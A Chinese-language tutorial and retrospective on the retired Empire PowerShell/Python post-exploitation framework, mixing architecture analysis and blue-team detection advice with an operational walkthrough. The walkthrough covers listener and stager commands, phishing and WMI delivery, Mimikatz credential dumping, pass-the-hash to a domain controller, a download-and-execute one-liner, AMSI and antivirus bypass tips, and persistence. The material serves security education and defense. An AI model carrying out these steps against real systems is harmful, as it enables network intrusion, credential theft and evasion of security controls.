1. 项目概述一个已停止维护的渗透测试框架如果你在网络安全领域特别是渗透测试或红队行动中摸爬滚打过几年那你大概率听说过Empire这个名字。它不是一个新工具甚至在几年前就已经官宣停止维护了但直到今天在讨论内网渗透、横向移动、权限维持这些话题时它依然是一个绕不开的经典案例。我最初接触 Empire 大概是在 2017 年左右当时它的出现确实给基于 PowerShell 的后期利用带来了革命性的变化。简单来说Empire 是一个后期利用框架它允许攻击者在成功初始入侵比如通过钓鱼邮件拿到一个 shell后在内网中更隐蔽、更持久地活动。它的核心是提供了两个“代理”一个是纯 PowerShell 2.0 编写的 Windows 代理另一个是纯 Python 2.6/2.7 编写的 Linux/OS X 代理。这个项目是早期 PowerShell Empire 和 Python EmPyre 两个项目的合并体。为什么一个已经停止更新的项目还值得拿出来说原因在于它的设计思想和实现方式深刻地影响了后来的一大批安全工具。它证明了完全基于内存、不落地的 PowerShell 攻击链是可行的并且将模块化、加密通信、规避检测这些理念整合到了一个易用的框架中。学习 Empire不仅仅是学习一个工具的使用更是理解现代攻击者在内网中的行为模式和防御者应该关注的关键点。这篇文章我会结合自己过去搭建、使用以及后来分析其架构的经验为你拆解 Empire 的核心机制、典型用法并重点分享那些在官方文档里不会写的“踩坑”实录和如今看来依然有价值的思考。2. 核心架构与设计哲学解析Empire 的成功很大程度上源于其清晰且超前的架构设计。它不是一个简单的脚本集合而是一个完整的C2框架。理解它的架构是有效使用或防御它的前提。2.1 客户端-服务端模型与模块化设计Empire 采用典型的服务端-客户端模型。服务端运行在攻击者的机器上负责管理监听器、生成攻击载荷、接收代理回连、下发任务。客户端就是植入到目标系统上的“代理”。这个代理非常轻量其核心职责是与服务端保持加密通信接收指令执行对应的模块代码并将结果返回。它的模块化设计是其灵魂所在。所有功能无论是信息收集、权限提升、横向移动还是数据渗出都被封装成独立的模块。服务端有一个庞大的模块库你可以像在 Metasploit 里搜索 exploit 一样搜索你需要的模块。例如想抓取目标机器的密码哈希你可以使用credentials/mimikatz/logonpasswords模块想进行内网探测可以使用situational_awareness/network/powerview系列模块。这种设计使得框架的扩展性极强社区可以不断贡献新的攻击手法。注意Empire 的模块分为“代理模块”和“插件模块”。代理模块是直接在已上线的代理上执行的而插件模块则运行在服务端用于辅助攻击比如用于生成特定格式的钓鱼文档。新手最容易混淆的就是在错误的环境下使用了错误的模块。2.2 无文件攻击与内存执行的实现这是 Empire 早期最引人注目的特性之一尤其是其 Windows 代理。它实现了“无需 powershell.exe”的 PowerShell 代理执行。传统的 PowerShell 攻击会启动一个powershell.exe进程并传入包含攻击代码的脚本这在日志和进程监控中非常显眼。Empire 是如何做到的它利用了 .NET 框架的System.Management.Automation命名空间。其代理本质上是一个用 C# 编译的小型加载器这个加载器可以反射加载 PowerShell 的运行环境到当前进程的内存中然后直接在其中执行 PowerShell 代码。这样一来从系统层面看可能只是一个普通的 .NET 程序在运行而没有出现powershell.exe这个敏感进程。这种技术通常被称为“反射注入”或“无文件 PowerShell”。在实际操作中当你使用 Empire 生成一个 Windows 代理的载荷时它通常是一个.bat或.exe文件。这个文件运行后会在内存中解密并加载真正的 PowerShell 代理代码与服务端建立连接。整个过程中恶意代码始终在内存中极大增加了检测难度。2.3 通信加密与规避机制一个成熟的 C2 框架通信的隐蔽性是生命线。Empire 内置了多种通信协议和加密方式。默认情况下它使用 HTTP/HTTPS 协议进行通信但代理与服务端之间的所有流量都经过 AES 加密。你可以在创建监听器时选择不同的通信“开关”比如设置请求的间隔时间、抖动、请求的 URI 路径、User-Agent 头等以模拟正常的网络流量绕过简单的网络层检测。更高级的用法是使用“Dead Drop”解析器。这允许代理从一个预设的、看似无害的第三方网站如 GitHub Gist、Pastebin 或一个合法的博客获取下一步的指令而服务端则将指令隐藏在这些网站的公开内容中。这种间接通信方式能有效避开直接 IP 封锁。从防御角度看识别 Empire 的通信特征需要关注异常的网络连接模式如固定间隔的心跳、不常见的 URI 路径如/admin/get.php,/login/process.php以及虽然加密但长度和时序固定的 HTTP 请求/响应包。3. 典型使用流程与实操要点虽然 Empire 已停止更新但理解其工作流程对构建现代攻防知识体系至关重要。下面我以一个模拟的内网渗透场景拆解其典型使用步骤。3.1 环境搭建与初始化配置首先需要搭建 Empire 的服务端。官方推荐在 Kali、Debian 或 Ubuntu 上运行。由于项目已归档直接克隆源码后依赖可能会出现问题。我的经验是使用 Docker 镜像是最稳定、最省事的方式它能提供一个隔离且依赖完整的环境。# 拉取 Empire 的 Docker 镜像这是社区维护的版本非官方 docker pull empireproject/empire:latest # 运行容器并将本地端口映射到容器的 Empire 服务端口 docker run -it -p 1337:1337 -p 5000:5000 empireproject/empire # 进入容器内的交互式 Empire 命令行 docker exec -it container_id /bin/bash # 然后启动 Empire ./empire启动后你会进入 Empire 的命令行界面。第一步是设置一个监听器。监听器是代理回连的端点。(Empire) listeners (Empire: listeners) uselistener http (Empire: listeners/http) set Name MyListener (Empire: listeners/http) set Host http://你的公网IP或域名:监听端口 (Empire: listeners/http) set Port 80 (Empire: listeners/http) execute这里有几个关键点Host 字段这是代理会尝试连接的地址。在内网测试时可以是你的攻击机内网 IP在真实环境或穿透测试中需要是一个能访问到的公网 IP 或域名。Port 字段需要与docker run命令中映射的端口对应。上面例子中我将容器的 1337 端口映射到了宿主机的 1337那么这里Host的端口就应该是1337。协议选择http是最简单的但特征明显。在生产环境测试中更倾向于使用https并配置有效的证书或者使用redirector进行流量转发以隐藏真实 C2 服务器。3.2 载荷生成与投递方式监听器设置好后下一步是生成一个代理载荷。Empire 提供了多种“攻击模块”来生成载荷最常用的是usestager。(Empire) usestager multi/launcher (Empire: stager/multi/launcher) set Listener MyListener (Empire: stager/multi/launcher) generate执行generate后会输出一段经过混淆和压缩的 PowerShell 命令。这段命令就是你的“一键上线”代码。传统的攻击方式是将这段代码复制通过某种方式在目标机器上执行。例如鱼叉式钓鱼将命令嵌入到 Office 宏或 PDF 漏洞中。利用现有入口通过已有的 WebShell 或系统漏洞在目标机器上执行该命令。横向移动在已控制的内网机器上通过 PsExec、WMI 或计划任务等方式将该命令在另一台机器上运行。实操心得直接生成的launcher命令非常长且包含特殊字符容易在复制粘贴或通过某些受限通道传输时出错。一个技巧是使用usestager windows/ducky生成适合通过 USB Rubber Ducky 等 HID 设备注入的代码或者自己写一个简单的 Python 脚本将载荷进行 Base64 编码后分块传输在目标端再组合执行。3.3 代理上线与基础交互当目标执行了载荷后如果网络可达代理就会回连到你的监听器并在 Empire 中显示为上线状态。(Empire: agents) list [*] Active agents: Name Lang Internal IP Machine Name Username Process ---- ---- ----------- ------------ -------- ------- T6V2SPS ps 192.168.1.105 WIN10-PC CORP\jdoe powershell/3220看到有代理上线后使用interact T6V2SPS命令与该代理进行交互。这时命令行提示符会变成(Empire: T6V2SPS)表示你正在对这个代理发号施令。基础交互命令包括help查看该代理下可用的命令。shell whoami在代理所在机器上执行系统命令返回结果。upload /path/to/file上传文件到目标机器。download file.txt从目标机器下载文件。sc显示当前代理的详细信息和配置。sleep 5修改代理的“心跳”间隔为 5 秒更频繁的通信会增加暴露风险更长的间隔则更隐蔽但响应慢。3.4 模块使用与内网渗透示例代理上线后真正的渗透才开始。假设我们的目标是获取域控权限。第一步信息收集使用situational_awareness模块套件。这是 Empire 整合了 PowerView 的模块集合用于 Active Directory 信息收集。(Empire: T6V2SPS) usemodule situational_awareness/network/powerview/get_user (Empire: powershell/situational_awareness/network/powerview/get_user) set Filter adminCount1 (Empire: powershell/situational_awareness/network/powerview/get_user) execute这个命令会列出域内所有adminCount属性为 1 的用户通常是特权账户。第二步凭证窃取尝试使用 Mimikatz 抓取当前机器的内存密码。(Empire: T6V2SPS) usemodule credentials/mimikatz/logonpasswords (Empire: powershell/credentials/mimikatz/logonpasswords) execute如果当前进程权限足够并且系统未打补丁或未启用足够的防护Mimikatz 就能提取出明文密码或 NTLM 哈希。第三步横向移动假设我们抓取到了一个域管理员账户的哈希我们可以使用“哈希传递”攻击横向移动到域控。(Empire: T6V2SPS) usemodule lateral_movement/invoke_wmi (Empire: powershell/lateral_movement/invoke_wmi) set ComputerName DC01.CORP.LOCAL (Empire: powershell/lateral_movement/invoke_wmi) set UserName CORP\Administrator (Empire: powershell/lateral_movement/invoke_wmi) set Hash aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (Empire: powershell/lateral_movement/invoke_wmi) set Listener MyListener (Empire: powershell/lateral_movement/invoke_wmi) execute这个模块会尝试在目标计算机DC01上使用提供的用户名和哈希通过 WMI 执行命令并部署一个新的 Empire 代理回连到我们的监听器。成功后你会在agents列表里看到一台来自域控的新代理。4. 深度技术细节与规避策略探讨要真正用好或防好 Empire必须深入其技术细节。这里分享几个关键点。4.1 PowerShell 代理的混淆与绕过执行策略Empire 生成的 PowerShell 载荷其核心是一段经过多次编码和混淆的脚本。它通常会尝试绕过 PowerShell 的执行策略。常见的绕过方法包括-ExecutionPolicy Bypass命令行参数绕过。-EncodedCommand使用 Base64 编码命令。IEX (New-Object Net.WebClient).DownloadString()从远程下载并执行无文件。利用.RegisterStartupScript等 COM 接口间接执行。Empire 的launcher默认就采用了高度混淆。防御方不能只依赖简单的字符串匹配来检测而需要监控 PowerShell 引擎的活动事件例如通过 Sysmon 记录 Event ID 4104分析脚本块日志寻找混淆特征如大量的字符串反转、替换、编码操作。4.2 模块的“内存”执行与 AMSI 绕过Antimalware Scan Interface 是微软引入的一个反恶意软件扫描接口。当 PowerShell 脚本执行时AMSI 可以将其内容发送给安全软件进行扫描。早期的 Empire 很容易被 AMSI 检测到。因此Empire 的许多模块都内置了 AMSI 绕过技术。这些技术五花八门比如内存修补直接修改amsi.dll在内存中的函数使其失效。强制错误通过传递一个巨大的缓冲区导致 AMSI 初始化失败。混淆干扰使用特殊的语法和字符干扰 AMSI 的解析器。在 Empire 的模块代码中你经常能看到一大段以$s开头的、看起来像乱码的字符串那就是经过编码的 AMSI 绕过代码。模块在执行主功能前会先解码并执行这段代码来尝试禁用 AMSI。注意事项AMSI 绕过技术是猫鼠游戏。随着 Windows 和安全软件的更新旧的绕过方法会失效。这也是为什么停止维护的 Empire 在现代高版本 Windows 上直接运行模块可能失败的原因。在实际测试中可能需要手动集成或开发新的绕过技术。4.3 通信流量分析与特征识别尽管 Empire 支持加密和伪装但其默认配置的流量仍然存在一些特征可供防御方进行网络检测。HTTP 头特征早期版本的 Empire 代理其 HTTP 请求的 User-Agent 可能是固定的如Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)。虽然可以修改但很多使用者会忽略。URI 路径特征默认的监听器会使用像/admin/get.php,/news.php这样的路径。这些路径在正常的 Web 访问中不常见。心跳规律代理会以固定的间隔默认 5 或 60 秒向服务端发送“心跳”请求。即使通信内容加密这种规律性的、短小的 POST 请求模式也值得怀疑。证书特征如果使用自签名的 HTTPS 证书证书的颁发者、有效期等信息会暴露异常。高级的红队会通过修改源码、使用域名前置、配置与正常业务完全一致的 Web 服务作为重定向器等方式来尽可能抹除这些特征。蓝队则需要结合端点日志如 PowerShell 日志、进程创建日志和网络流量分析进行关联判断。5. 项目现状、替代方案与学习价值5.1 为何停止维护与现存风险Empire 项目在 2019 年左右正式宣布停止支持。主要原因有几个一是核心维护者精力转移二是 PowerShell 的安全特性在不断增强如 Constrained Language Mode, AMSI 的强化使得基于旧版本 PowerShell 的许多攻击技术失效三是出现了更活跃、更现代的替代品。对于攻击方红队直接使用原版 Empire 进行实战已非上策。其代码库已知特征已被各大安全厂商充分研究并加入检测规则成功率大大降低。更危险的是互联网上存在大量被篡改的 Empire 版本可能内置了后门使用者在攻击别人的同时自己的服务器可能已被他人控制。对于防御方蓝队Empire 仍然是一个极佳的学习样本。通过搭建实验环境分析其流量、模块行为、内存特征可以极大地提升对内网攻击链的检测能力。许多现代攻击工具只是 Empire 思想的“换壳”或升级。5.2 现代替代品简介Empire 的精神在以下活跃项目中得到了延续和发展Cobalt Strike商业软件是事实上的红队标准。它功能更强大集成度更高规避技术更先进团队协作能力极强。Empire 可以看作是 Cobalt Strike 的一个开源简化版。Sliver由 Bishop Fox 开发的开源 C2 框架。采用 Go 语言编写跨平台支持好生成载荷小通信方式多样HTTP, DNS, MTLS等是目前最活跃的开源替代品之一。Covenant.NET 编写的开源 C2 框架界面友好同样支持 HTTP、HTTPS、SMB 等多种通信方式模块化程度高社区活跃。Brute Ratel C4另一个商业红队平台以其强大的规避能力和“Badger”代理著称价格不菲但备受高端红队推崇。这些工具在通信加密、载荷生成、规避技术、团队协作等方面都比 Empire 更为先进和复杂。5.3 从 Empire 中学到的核心攻防思想抛开具体工具Empire 项目给我们留下了宝贵的经验对于攻击者无文件化是趋势尽可能减少在磁盘上的操作利用内存执行和合法的系统管理工具。加密与伪装是标配C2 通信必须加密并尽可能模仿正常业务流量。模块化与可扩展性将攻击链拆解为独立模块便于组合、测试和更新。持久化与低交互代理应设计为低频率、长间隔通信并具备多种持久化机制以长期潜伏。对于防御者假设已失陷不要只关注边界防御要建立内部威胁检测能力。关注行为而非特征单一的进程、文件或网络包特征容易被绕过。要关注异常行为序列例如一个通常不运行 PowerShell 的服务器突然产生了大量的 PowerShell 网络连接一个用户账户在非工作时间从非常用地点登录并执行敏感操作。深度日志收集启用并集中收集 PowerShell 脚本块日志、进程创建日志、网络连接日志等。Empire 的许多行为会在这些日志中留下痕迹。最小权限原则严格限制用户和管理员的权限及时打补丁能有效阻断哈希传递、WMI 滥用等横向移动手段。6. 常见问题与排查技巧实录在实际搭建和使用 Empire 进行实验的过程中我遇到过无数问题。这里记录几个最具代表性的希望能帮你节省时间。6.1 环境搭建与依赖问题问题在非 Kali/Debian/Ubuntu 系统上源码安装失败提示各种 Python 库缺失或版本冲突。解决放弃源码安装直接使用 Docker。这是最彻底的方法。如果一定要源码安装请确保使用 Python 2.7 环境Empire 基于 Python 2.7并使用虚拟环境隔离。安装脚本setup/install.sh有时会因网络问题下载失败需要手动调整 pip 源或离线安装依赖。问题Docker 运行后无法从外部访问 Empire 的 Web 界面或监听器。解决检查docker run的端口映射参数是否正确。Empire 的服务端默认监听 1337 端口API和 5000 端口Web。确保命令类似-p 1337:1337 -p 5000:5000。同时检查宿主机的防火墙是否放行了这些端口。6.2 代理生成与上线失败问题生成的launcher在目标机器执行后代理没有上线。排查步骤网络连通性这是最常见的原因。确保目标机器能访问到你设置的Host监听器 IP:Port。可以在目标机用Test-NetConnection IP -Port Port测试。杀软拦截现代 Windows Defender 就能轻易拦截 Empire 的默认载荷。需要在生成载荷时使用编码器或加密器进行混淆或者使用usestager windows/macro等更隐蔽的投递方式。在实验环境中可以临时关闭实时防护。执行策略与架构确保 PowerShell 能够执行。如果是在 64 位系统上注意 PowerShell 有 x86 和 x64 之分有时需要指定版本。尝试使用更底层的执行方式如usestager windows/ducky生成的 VBS 脚本。监听器配置检查监听器的Host字段是否包含正确的协议http://或https://。如果用了域名确保域名解析正确。6.3 模块执行无回显或报错问题代理已上线但执行某些模块特别是 Mimikatz时没有输出结果或者返回错误。排查步骤权限不足许多模块需要管理员或 SYSTEM 权限。使用bypassuac或getsystem模块尝试提权后再执行。AMSI/杀软拦截模块代码本身被拦截。尝试先运行privesc/bypassuac或management/amsi_bypass等专门的绕过模块再执行功能模块。模块依赖缺失有些模块依赖目标机器上特定的程序或 PowerShell 模块。例如一些 AD 查询模块依赖ActiveDirectoryPowerShell 模块而该模块通常只在域成员服务器或安装了 RSAT 的机器上存在。环境不兼容Empire 的许多 PowerShell 模块是为 PowerShell 2.0-3.0 设计的在高版本 PowerShell 或受限语言模式下可能无法运行。可以尝试使用usemodule powershell/situational_awareness/host/get_proxy这类简单的模块测试基础功能是否正常。6.4 通信不稳定与代理断开问题代理上线一段时间后突然断开无法重连。排查步骤网络变化目标机器切换了网络如从有线切到 WiFiIP 地址变化。代理进程被结束目标机器上的安全软件或管理员手动结束了代理进程。Empire 的默认代理是持久化的但并非无法终止。可以考虑使用persistence模块注册多种持久化机制。监听器服务中断你的 Empire 服务端崩溃或重启了。Docker 容器意外停止也会导致此问题。心跳间隔设置过长如果sleep时间设置得非常长如 1 小时在这期间代理不会通信在 Empire 界面里可能显示为“丢失”但超过睡眠时间后可能会恢复。不要轻易删除“丢失”的代理可以等待一个周期。最后我必须再次强调Empire 是一个已经停止维护的历史项目。本文的所有讨论均基于网络安全研究、教学和授权测试的语境。在未经授权的系统上进行任何形式的测试都是非法且不道德的。它的价值在于其教育意义和作为分析样本的参考价值。理解它是为了更好地防御当今那些继承了其思想、但更加隐蔽和强大的现代攻击工具。在安全领域知彼知己方能百战不殆。真正的安全建设始于对攻击技术的深刻理解并最终落实到扎实的防御实践中。